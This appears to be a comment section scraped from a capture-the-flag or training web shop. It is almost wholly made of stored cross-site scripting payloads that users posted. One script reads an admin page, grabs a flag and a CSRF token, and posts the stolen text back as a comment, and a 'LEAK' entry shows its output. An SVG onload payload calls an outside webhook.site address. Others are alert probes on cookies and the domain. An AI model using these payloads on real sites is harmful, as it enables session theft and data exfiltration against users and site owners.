Chupacabras

<iframe src=javascript:alert(1)></iframe>

LEAK <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Forbidden</title> <style> /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}code{font-family:Menlo,Monaco,Consola

<script>fetch("/admin").then(r=>r.text()).then(t=>{var m=t.match(/ACAD\{[^}]+\}/);var out=m?m[0]:t.slice(0,800);fetch("/tienda/74").then(r=>r.text()).then(h=>{var tok=h.match(/name="_token" value="([^"]+)"/)[1];fetch("/products/74/comments",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"_token="+tok+"&content="+encodeURIComponent("LEAK "+out)});});});</script>

<script>alert(document.domain)</script>

<img src=x onerror=alert(document.domain)>

PoC-test-marker-123

<script>alert(1)</script>

<script>document.write('<h3>Auditoria Julieta ACAD</h3>')</script>

<img src="x" onerror="alert(1)">

<script>alert(document.cookie)</script>

<script>alert(document.domain)</script>

<svg onload="fetch('https://webhook.site/f50ad693-f687-4677-89bb-f7fe7a766022)">